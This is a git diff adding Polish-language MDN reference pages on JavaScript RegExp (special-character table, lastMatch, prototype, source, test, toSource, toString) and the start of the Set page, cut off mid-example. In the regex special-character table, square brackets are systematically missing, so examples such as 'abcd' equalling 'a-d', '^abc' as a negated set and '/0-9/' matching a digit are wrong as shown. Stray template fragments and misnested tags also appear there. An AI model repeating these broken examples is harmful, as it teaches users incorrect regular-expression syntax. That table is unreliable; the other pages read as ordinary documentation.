"Szprotka". <code>/Jacek(?=Szprotka|Mróz)/</code> znajdzie "Jacek" tylko, jeśli po tym jest zaraz wyraz "Szprotka" lub "Mróz"). Jednakże, ani "Szprotka" ani "Mróz" nie jest częścią wyników.</p> + </td> + </tr> + <tr> + <td><code>x(?!y)</code></td> + <td> + <p>Znajduje "x", tylko, jeśli po "x" nie ma "y". Na przykład, <code>/\d+(?!\,)/</code> zostanie dopasowane do liczby całkowitej, tylko jeśli nie ma po niej przecinka.</p> + + <p><code>/\d+(?!\,)/.exec("3,141")</code> zostanie dopasowane tylko do 141, nie zostanie dopasowane do 3, bo wystąpił po niej przecinek.</p> + </td> + </tr> + <tr> + <td><code>x|y</code></td> + <td> + <p>Znajduje "x" lub "y".</p> + + <p>Na przykład, <code>/zielone|czerwone/</code> znajdzie "zielone" w "zielone jabłko" i "czerwone" w "czerwone jabłko".</p> + </td> + </tr> + <tr> + <td><code>{n}</code></td> + <td> + <p>Gdzie <code>n</code> jest dodatnią liczbą całkowitą. Znajduje dokładnie <code>n</code> wystąpień poprzedzającej pozycji.</p> + + <p>Na przykład, <code>/u{2}/</code> nie znajdzie "u" w "cukierek", ale znajdzie wszystkie "u" w "cuukierek" i pierwsze dwa "u" w "cuuukierek".</p> + </td> + </tr> + <tr> + <td><code>{n,}</code></td> + <td> + <p>Gdzie <code>n</code> jest dodatnią liczbą całkowitą. Znajduje, co najmniej <code>n</code> wystąpień poprzedzającej pozycji.</p> + + <p>Na przykład, <code>/u{2,}/</code> nie znajdzie "u" w "cukierek", ale znajdzie wszystkie "u" w "cuukierek" i w "cuuukierek".</p> + </td> + </tr> + <tr> + <td><code>{n,m}</code></td> + <td> + <p>Gdzie <code>n</code> i <code>m</code> są pozytywnymi liczbami całkowitymi. Wyszukuje, co najmniej <code>n</code> i co najwyżej <code>m</code> wystąpień poprzedzającego wyrażenia.</p> + + <p>Na przykład, <code>/u{1,3}/</code> nie znajdzie niczego w "ckierek", znajdzie "u" w "cukierek", znajdzie dwa "u" w "cuukierek" i pierwsze trzy "u" w "cuuuuukierek". Zauważ, że podczas wyszukiwania w "cuuuuukierek", wynik wyszukiwania to "uuu" mimo iż ciąg oryginalny zawiera więcej liter "u".</p> + </td> + </tr> + <tr> + <td><code>xyz</code></td> + <td> + <p>Zestaw znaków. Wyszukuje jakikolwiek z podanych znaków. Możesz podać przedział znaków używając myślnika.</p> + + <p>Na przykład, <code>abcd</code> oznacza tyle samo, co <code>a-d</code>. Wyrażenia te znajdą "b" w "buziak" i "d" w "kasza".</p> + </td> + </tr> + <tr> + <td><code>^xyz</code></td> + <td> + <p>Przeciwny zestaw znaków. Wyszukuje cokolwiek, co nie jest wewnątrz nawiasów. Podobnie jak powyżej można podać zakres znaków używając myślnika.</p> + + <p>Na przykład, <code>^abc</code> oznacza tyle samo, co <code>^a-c</code>. Wyrażenia te znajdą "u" w "buziak" i "k" w "kasza".</p> + </td> + </tr> + <tr> + <td><code>\\b</code></td> + <td> + <p>Wyszukuje znak backspace (nie mylić z <code>\b</code>).</p> + </td> + </tr> + <tr> + <td><code>\b</code></td> + <td> + <p>Wyszukuje granicę wyrazów (ang. <em>word boundary</em>), jak na przykład spację (nie mylić z <code>\\b</code>).</p> + + <p>Na przykład, <code>/\bn\w/</code> zaznaczy "no" w "noonday"; <code>/\wy\b/</code> zaznaczy "ly" w "possibly yesterday".</p> + </td> + </tr> + <tr> + <td><code>\B</code></td> + <td> + <p>Znajduje brak granicy niewyrazu (ang. <em>non-word boundary</em>).</p> + + <p>Na przykład, <code>/\w\Bn/</code> zaznaczy "on" w "noonday", a <code>/y\B\w/</code> zaznaczy "ye" w "possibly yesterday".</p> + </td> + </tr> + <tr> + <td><code>\cX</code></td> + <td> + <p>Gdzie <code>X</code> jest literą od A do Z. Zaznacza znak kontrolny w ciągu.</p> + + <p>Na przykład, <code>/\cM/</code> zaznaczy <code>control-M</code> w <em>string</em>u.</p> + </td> + </tr> + <tr> + <td><code>\d</code></td> + <td> + <p>Znajduje cyfrę. Odpowiednik <code>0-9</code>.</p> + + <p>Na przykład, <code>/\d/</code> lub <code>/0-9/<code> zaznaczy "2" w "B2 jest numerem pokoju". </td> </tr> </code></p> + </td> + </tr> + <tr> + <td>\D</td> + <td> + <p>Wyszukuje jakikolwiek znak nieliczbowy. Odpowiednik <code>^0-9') }}</code>.</p> + + <p>Na przykład, <code>/\D/</code> lub <code>/^0-9/</code> zaznaczy "B" w "B2 jest numerem pokoju".</p> + </td> + </tr> + <tr> + <td><code>\f</code></td> + <td> + <p>Znajduje znak wysuwu wiersza (<em>form feed</em>).</p> + </td> + </tr> + <tr> + <td><code>\n</code></td> + <td> + <p>Znajduje znak następnego wiersza (<em>line feed</em>).</p> + </td> + </tr> + <tr> + <td><code>\r</code></td> + <td> + <p>Znajduje znak powrotu karetki (<em>carriage return</em>).</p> + </td> + </tr> + <tr> + <td><code>\s</code></td> + <td> + <p>Znajduje pojedynczy biały znak (ang. <em>white space character</em>), wliczając w to spację, tabulator, znak wysuwu wiersza, znak następnego wiersza. Odpowiednik <code>\\f\\n\\r\\t\\u00A0\\u2028\\u2029</code>.</p> + + <p>Na przykład, <code>/\s\w*/</code> zaznaczy " bar" w "foo bar".</p> + </td> + </tr> + <tr> + <td><code>\S</code></td> + <td> + <p>Zaznacza jakikolwiek znak inny niż biały (ang. <em>white space</em>). Odpowiednik <code>^ \\f\\n\\r\\t\\u00A0\\u2028\\u2029</code>.</p> + + <p>Na przykład, <code>/\S/\w*</code> zaznaczy "foo" w "foo bar".</p> + </td> + </tr> + <tr> + <td><code>\t</code></td> + <td> + <p>Znajduje tabulator.</p> + </td> + </tr> + <tr> + <td><code>\v</code></td> + <td> + <p>Znajduje pionowy tabulator (ang. <em>vertical tab</em>).</p> + </td> + </tr> + <tr> + <td><code>\w</code></td> + <td> + <p>Znajduje jakikolwiek znak alfanumeryczny i znak podkreślenia <code>_</code>. Odpowiednik <code>A-Za-z0-9_</code>.</p> + + <p>Na przykład, <code>/\w/</code> zaznaczy "j" w "jabłko", "5" w "??5.28", i "3" w "3D".</p> + </td> + </tr> + <tr> + <td><code>\W</code></td> + <td> + <p>Zaznaczy jakikolwiek znak niewyrazowy. Odpowiednik <code>^A-Za-z0-9_</code>.</p> + + <p>Na przykład, <code>/\W/</code> lub <code>/^$A-Za-z0-9_/</code> znajdzie "%" w "50%".</p> + </td> + </tr> + <tr> + <td><code>\n</code></td> + <td> + <p>Gdzie <code>n</code> jest pozytywną liczbą całkowitą. Odwołanie wsteczne (ang. <em>back reference</em>) do ostatniego podciągu (<em>substring</em>) pasującego do n wyrażenia umieszczonego w nawiasie (licząc od nawiasu otwierającego "(").</p> + + <p>Na przykład, <code>/jabłko(,)\spomarańcz\1/</code> pasuje do "jabłko, pomarańcz," w "jabłko, pomarańcz, wiśnia, brzoskwinia". Dokładniejszy przykład znajduje się po tabeli.</p> + </td> + </tr> + <tr> + <td><code>\0</code></td> + <td> + <p>Wyszukuje znak NUL. Bezpośrednio po <code>\0</code> nie powinna znajdować się żadna liczba.</p> + </td> + </tr> + <tr> + <td><code>\xhh</code></td> + <td> + <p>Znajduje znak o kodzie hh (dwie cyfry szesnastkowe)</p> + </td> + </tr> + <tr> + <td><code>\uhhhh</code></td> + <td> + <p>Znajduje znak o kodzie hhhh (cztery cyfry szesnastkowe).</p> + </td> + </tr> + </tbody> +</table> + +<p>Notacja tekstowa zostaje skompilowana, kiedy wyrażenie regularne jest wykonane. Używaj notacji tekstowej wtedy, kiedy wyrażenie regularne pozostanie niezmienione. Na przykład, jeśli użyjesz notacji tekstowej do konstrukcji wyrażenia regularnego w pętli, wyrażenie to nie zostanie przekompilowane podczas każdej iteracji.</p> + +<p>Konstruktor obiektu wyrażenia regularnego, na przykład <code>new RegExp("ab+c")</code>, pozwala na kompilację podczas czasu wykonywania (ang. <em>runtime compilation</em>) wyrażenia. Używaj funkcji konstruktora, kiedy wiesz, że wzór wyrażenia regularnego będzie się zmieniać lub gdy nie znasz tego wzoru i pobierasz go z innego źródła, jak na przykład wejście użytkownika.</p> + +<p>Oddzielny predefiniowany obiekt <code>RegExp</code> jest dostępny dla każdego okna, to jest każdy oddzielny wątek uruchomienia JavaScriptu dostaje jego własny obiekt <code>RegExp</code>. Jako że każdy skrypt uruchamiany jest cały w oddzielnym wątku, zapewnia to, iż oddzielne skrypty nie nadpisują wartości obiektu <code>RegExp</code>.</p> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<dl> + <dt>{{jsxref("RegExp.prototype")}}</dt> + <dd>Pozwala na dodanie własności wszystkim obiektom.</dd> + <dt><code>RegExp.length</code></dt> + <dd>Wartość parametru <code>RegExp.length</code> wynosi 2.</dd> + <dt>{{jsxref("RegExp.lastIndex")}}</dt> + <dd>Indeks, od którego rozpoczynać następne szukanie.</dd> +</dl> + +<h2 id="Metody" name="Metody">Metody</h2> + +<p>Globalny objekt <code>RegExp</code> nie posiada własnych metod, jednam może dziedziczyć metody z innych obiektów.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_replace" name="Przyk.C5.82ad:_Zastosowanie_metody_replace">Przykład: Zastosowanie metody <code>replace</code></h3> + +<p>Poniższy przykład używa metodę <code>replace</code> do zamiany wyrazów w ciągu (<em>stringu</em>). Podczas zamiany tekstu, skrypt używa "<code>$1</code>" i "<code>$2</code>" do oznaczenia wyników odpowiadających im nawiasów we wzorze wyrażenia regularnego.</p> + +<pre class="brush: js">var re = /(\w+)\s(\w+)/; +var str = "Jan Kowalski"; +var newstr = str.replace(re, "$2, $1"); +document.write(newstr); +</pre> + +<p>Wyświetli "Kowalski, Jan".</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>Rozdział w <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a> o <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a></li> + <li>{{jsxref("String.prototype.match()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/lastmatch/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/lastmatch/index.html new file mode 100644 index 0000000000..4d229d5d81 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/regexp/lastmatch/index.html @@ -0,0 +1,54 @@ +--- +title: RegExp.lastMatch ($&) +slug: Web/JavaScript/Referencje/Obiekty/RegExp/lastMatch +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<p>Niestandardowa właściwość <strong>lastMatch</strong> jest właściwością statyczną, tylko do odczytu wyrażeń regularnych, który zawiera ostatnie dopasowane znaki. <code>RegExp.$&</code> jest aliasem tej właściwości.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>RegExp</var>.lastMatch +RegExp['$&'] +</pre> + +<h2 id="Description">Description</h2> + +<p>The <code>lastMatch</code> property is static, it is not a property of an individual regular expression object. Instead, you always use it as <code>RegExp.lastMatch</code> or <code>RegExp['$&'].</code></p> + +<p>The value of the <code>lastMatch</code> property is read-only and modified whenever a successful match is made.</p> + +<p>You can not use the shorthand alias with the dot property accessor (<code>RegExp.$&</code>), because the parser expects an expression with "&" in that case and a {{jsxref("SyntaxError")}} is thrown. Use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">bracket notation for property access</a>.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Using_lastMatch_and">Using <code>lastMatch</code> and <code>$&</code></h3> + +<pre class="brush: js">var re = /hi/g; +re.test('hi there!'); +RegExp.lastMatch; // "hi" +RegExp['$&']; // "hi" +</pre> + +<h2 id="Specifications">Specifications</h2> + +<p>Niestandardowe. Nie jest częścią aktualnej specyfikacji.</p> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.RegExp.lastMatch")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li> + <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li> + <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li> + <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li> + <li>{{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/prototype/index.html new file mode 100644 index 0000000000..0a9312a1e1 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/regexp/prototype/index.html @@ -0,0 +1,53 @@ +--- +title: RegExp.prototype +slug: Web/JavaScript/Referencje/Obiekty/RegExp/prototype +tags: + - JavaScript + - Property + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Reprezentuje prototyp obiektów danej klasy. Pozwala na dodawanie własności i metod do wszystkich instancji tej klasy.</p> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<p>Zauważ, że niektóre własności obiektu <code>RegExp</code> mają dwie nazwy: długą i krótką (Perl<em>ową</em>). Obydwie nazwy zawsze odwołują się do tej samej wartości. Perl jest językiem programowania, z którego uformowały się wyrażenia regularne JavaScriptu.</p> + +<dl> + <dt><code>RegExp.prototype.constructor</code></dt> + <dd>Określa funkcję, która tworzy prototyp obiektu.</dd> + <dt>{{jsxref("RegExp.prototype.flags")}} {{experimental_inline}}</dt> + <dd>A string that contains the flags of the <code>RegExp</code> object.</dd> + <dt>{{jsxref("RegExp.prototype.global")}}</dt> + <dd>Czy przeszukiwać cały ciąg w poszukiwaniu wszystkich możliwych dopasowań czy tylko w poszukiwaniu pierwszego.</dd> + <dt>{{jsxref("RegExp.prototype.ignoreCase")}}</dt> + <dd>Czy ignorować wielkość liter podczas wyszukiwania.</dd> + <dt>{{jsxref("RegExp.prototype.multiline")}}</dt> + <dd>Czy w ciągach z wieloma liniami, szukać w wielu liniach.</dd> + <dt>{{jsxref("RegExp.prototype.source")}}</dt> + <dd>Tekst wzoru.</dd> + <dt>{{jsxref("RegExp.prototype.sticky")}} {{experimental_inline}}</dt> + <dd>Whether or not the search is sticky.</dd> + <dt>{{jsxref("RegExp.prototype.unicode")}} {{experimental_inline}}</dt> + <dd>Whether or not Unicode features are enabled.</dd> +</dl> + +<h2 id="Metody" name="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("RegExp.prototype.compile()")}} {{deprecated_inline}}</dt> + <dd>(Re-)compiles a regular expression during execution of a script.</dd> + <dt>{{jsxref("RegExp.prototype.exec()")}}</dt> + <dd>Uruchamia wyszukiwanie dopasowania w ciągu podanym poprzez parametr tej metody.</dd> + <dt>{{jsxref("RegExp.prototype.test()")}}</dt> + <dd>Testuje dopasowanie w ciągu podanym poprzez parametr tej metody.</dd> + <dt>{{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}}</dt> + <dd>Zwraca literał obiektu reprezentujący podany obiekt; możesz użyć tej wartości do utworzenia nowego obiektu. Przesłania metodę <a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/toSource" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Object/toSource">Object.toSource</a>.</dd> + <dt>{{jsxref("RegExp.prototype.toString()")}}</dt> + <dd>Zwraca ciąg znaków reprezentujący podany obiekt. Przesłania metodę <a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/toString" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Object/toString">Object.toString</a>.</dd> +</dl> diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/source/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/source/index.html new file mode 100644 index 0000000000..78cf4c2a64 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/regexp/source/index.html @@ -0,0 +1,29 @@ +--- +title: RegExp.prototype.source +slug: Web/JavaScript/Referencje/Obiekty/RegExp/source +tags: + - JavaScript + - Property + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/source +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność tylko do odczytu stanowiąca wzór tekstu, wykluczając przesyłanie slashy.</p> + +<div>{{js_property_attributes(0, 0, 1)}}</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>source</code> jest własnością indywidualnej instancji wyrażenia regularnego obiektu.</p> + +<p>Nie możesz zmienić tej własności bezpośrednio.</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("RegExp.prototype.flags")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/test/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/test/index.html new file mode 100644 index 0000000000..e654bfb236 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/regexp/test/index.html @@ -0,0 +1,53 @@ +--- +title: RegExp.prototype.test() +slug: Web/JavaScript/Referencje/Obiekty/RegExp/test +tags: + - JavaScript + - Method + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/test +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wykonuje poszukiwanie łańcucha znaków pomiędzy wyrażeniem regularnym i określonym wzorcem. Zwraca <code>true</code> lub <code>false</code>.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>regexObj</var>.test(<var>str</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>str</code> </dt> + <dd>Łańcuch znaków w zależności od tego, czym jest wyrażenie regularne.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli chcesz wiedzieć, czy wzorzec został znaleziony w łańcuchu znaków zastosuj metodę <code>test</code> (podobną do metody {{jsxref("String.prototype.search()")}}); aby uzyskać więcej informacji (lecz powolniej wykonywana) zastosuj metodę {{jsxref("RegExp.prototype.exec()", "exec()")}}(podobną do metody {{jsxref("String.prototype.match()")}} ).</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_test" name="Przyk.C5.82ad:_Zastosowanie_test">Przykład: Zastosowanie <code>test()</code></h3> + +<p>Poniższy funkcja wypisuje wiadomość, której tekst zależy od powodzenia testu:</p> + +<pre class="brush: js">function testinput(re, str){ + if (re.test(str)) { + midstring = " zawiera "; + } else { + midstring = " nie zawiera "; + } + console.log(str + midstring + re.source); +} +</pre> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a> chapter in the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Guide">JavaScript Guide</a></li> + <li>{{jsxref("RegExp")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/tosource/index.html new file mode 100644 index 0000000000..4ac074392b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/regexp/tosource/index.html @@ -0,0 +1,47 @@ +--- +title: RegExp.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/RegExp/toSource +tags: + - JavaScript + - Method + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toSource +--- +<p>{{JSRef}}{{Non-standard_header}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>regexObj</var>.toSource() +</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>toSource()</code> zwraca następujące wartości:</p> + +<ul> + <li>Dla wbudowanego obiektu {{jsxref("RegExp")}}, <code>toSource()</code> zwraca następujący łańcuch znaków sygnalizujący, który kod źródłowy nie jest dostępny: + + <pre class="brush: js">function RegExp() { + [native code] +} +</pre> + </li> + <li>Dla instancji {{jsxref("RegExp")}}, <code>toSource()</code> zwraca łańcuch znaków reprezentujący kod źródłowy.</li> +</ul> + +<p>Ta metoda jest często nazywana wewnętrzną metodą JavaScriptu i nie jest widoczna w kodzie.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toSource()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/tostring/index.html new file mode 100644 index 0000000000..fb78233ff2 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/regexp/tostring/index.html @@ -0,0 +1,46 @@ +--- +title: RegExp.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/RegExp/toString +tags: + - JavaScript + - Method + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toString +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący określony obiekt.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>regexObj</var>.toString();</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Obiekt {{jsxref("RegExp")}} przypisuje <code>toString()</code> metodzie obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektu {{jsxref("RegExp")}}, metoda <code>toString()</code> zwraca łańcuch znaków reprezentujący obiekt.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_toString" name="Przyk.C5.82ad:_Zastosowanie_toString">Przykład: Zastosowanie <code>toString()</code></h3> + +<p>Następujący przykład wyświetla wartość łańcucha znaków obiektu <code>RegExp</code>:</p> + +<pre class="brush: js"><code class="language-js"><span class="token keyword">var</span> myExp <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RegExp</span><span class="token punctuation">(</span><span class="token string">'a+b+c'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> +console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>myExp<span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // </span></code><code class="language-js"><span class="token comment">wyświetli</span></code><code class="language-js"><span class="token comment"> '/a+b+c/' +</span> +<span class="token keyword">var</span> foo <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RegExp</span><span class="token punctuation">(</span><span class="token string">'bar'</span><span class="token punctuation">,</span> <span class="token string">'g'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> +console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>foo<span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // </span></code><code class="language-js"><span class="token comment">wyświetli</span></code><code class="language-js"><span class="token comment"> '/bar/g'</span></code> +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/set/index.html b/files/pl/web/javascript/referencje/obiekty/set/index.html new file mode 100644 index 0000000000..ca9cc37a93 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/set/index.html @@ -0,0 +1,486 @@ +--- +title: Set +slug: Web/JavaScript/Referencje/Obiekty/Set +tags: + - ECMAScript 2015 + - ECMAScript6 + - Global Objects + - JavaScript + - Object + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set +--- +<div>{{JSRef}}</div> + +<p>Obiekt <code><strong>Set</strong></code> umożliwia przechowywanie <em>unikalnych </em>wartości każdego typu, zarówno {{Glossary("Primitive", "primitywów")}} jak i obiektów.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">new Set([<em>iterable</em>]);</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>iterable</code></dt> + <dd>Jeżeli przekażesz <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">obiekt iterowalny</a>, wszystkie jego elementy zostaną dodane do nowego <code>Set</code>. Podczas gdy nie przekażemy żadnego parametru lub wartość parametru będzie równa <em><code>null</code></em>, zostanie stworzony pusty <code>Set</code>.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Nowy obiekt <code>Set</code>.</p> + +<h2 id="Opis">Opis</h2> + +<p>Obiekt <code><em>Set</em></code> jest kolekcją wartości. Możesz iterować po elementach <code><em>Set</em></code> w kolejności, w której zostały dodane. Wartość w <code><em>Set</em></code> <strong>może występować tylko jeden raz</strong>.</p> + +<h3 id="Równość_wartości">Równość wartości</h3> + +<p>Dlatego, że każda wartość w <code>Set </code>musi być unikalna, musi zostać to sprawdzone. We wcześniejszych specyfikacjach ECMAScript nie było to oparte na tym samym algorytmie co w przypadku operatora ===. Konkretnie dla Set +0 (co jest tym samym co -0) i -0 były innymi wartościami. W specyfikacji ECMAScript 2015 zostało to zmienione. Zobacz "Value equality for -0 and 0" w tabeli <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Set#Kompatybilność_przeglądarek">Kompatybilność z przeglądarkami</a>.</p> + +<p><code>NaN</code> i <code>undefined</code> mogą być przechowywane w <code>Set</code>. <code>NaN</code> w <code>Set</code> uważane jest za równe <code>NaN</code>, podczas gdy <code>NaN !== NaN</code> zwraca <code>true</code></p> + +<h2 id="Własności">Własności</h2> + +<dl> + <dt><code>Set.length</code></dt> + <dd>Wartość <code>length</code> zawsze wynosi 0.</dd> + <dt>{{jsxref("Set.@@species", "get Set[@@species]")}}</dt> + <dd>Funkcja wykorzystywana do stworzenia pochodnych obiektów.</dd> + <dt>{{jsxref("Set.prototype")}}</dt> + <dd>Reprezentuje prototyp konstruktora <code>Set.</code> Pozwala na dodanie własności do obiektu <code>Set</code>.</dd> +</dl> + +<h2 id="Instancje_Set"><font face="consolas, Liberation Mono, courier, monospace">Instancje <code>Set</code></font></h2> + +<p>Wszystkie instancje <code>Set</code> dziedziczą od {{jsxref("Set.prototype")}}.</p> + +<h3 id="Własności_2">Własności</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Properties')}}</p> + +<h3 id="Metody">Metody</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Methods')}}</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_obiektu_Set">Użycie obiektu <code>Set</code></h3> + +<pre class="brush: js">var mySet = new Set(); + +mySet.add(1); // Set { 1 } +mySet.add(5); // Set { 1, 5 } +mySet.add(5); // Set { 1, 5 } +mySet.add('some text'); // Set { 1, 5, 'some text' } +var o = {a: 1, b: 2}; +mySet.add(o); + +mySet.add({a: 1, b: 2}); // o jest referencją do innego obiektu, więc dwa obiekty zostają dodane do Set. + +mySet.has(1); // true +mySet.has(3); // false, 3 nie zostało dodane do Set. +mySet.has(5); // true +mySet.has(Math.sqrt(25)); // true +mySet.has('Some Text'.toLowerCase()); // true +mySet.has(o); // true + +mySet.size; // 5 + +mySet.delete(5); // Usuwa 5 z Set. +mySet.has(5); // false, 5 zostało usunięte. + +mySet.size; // 4, usuneliśmy jedną wartość. +console.log(mySet);// Set {1, "some text", Object {a: 1, b: 2}, Object {a: 1, b: 2}}</pre> + +<h3 id="Iterowanie_po_Set.">Iterowanie po Set.</h3> + +<pre class="brush: js">// Iterowanie po items w Set. +// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2} +for (let item of mySet) console.log(item); + +// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2} +for (let item of mySet.keys()) console.log(item); + +// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2} +for (let item of mySet.values()) console.log(item); + +// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2} +//(key i value są takie same) +for (let [key, value] of mySet.entries()) console.log(key); + +// zamienia Set na Array, przy użyciu Array.from +var myArr = Array.from(mySet); // [1, "some text", {"a": 1, "b": 2}] + +// następujące funkcje również zadziałają, jeżeli skrypt odpalony jest w dokumencie HTML +mySet.add(document.body); +mySet.has(document.querySelector('body')); // true + +// zamiana Array na Set i na odwrót +mySet2 = new Set([1, 2, 3, 4]); +mySet2.size; // 4 +[...mySet2]; // [1, 2, 3, 4] + +// Set z wartościami, które są w set1 i set2, może być uzyskany następująco +var intersection 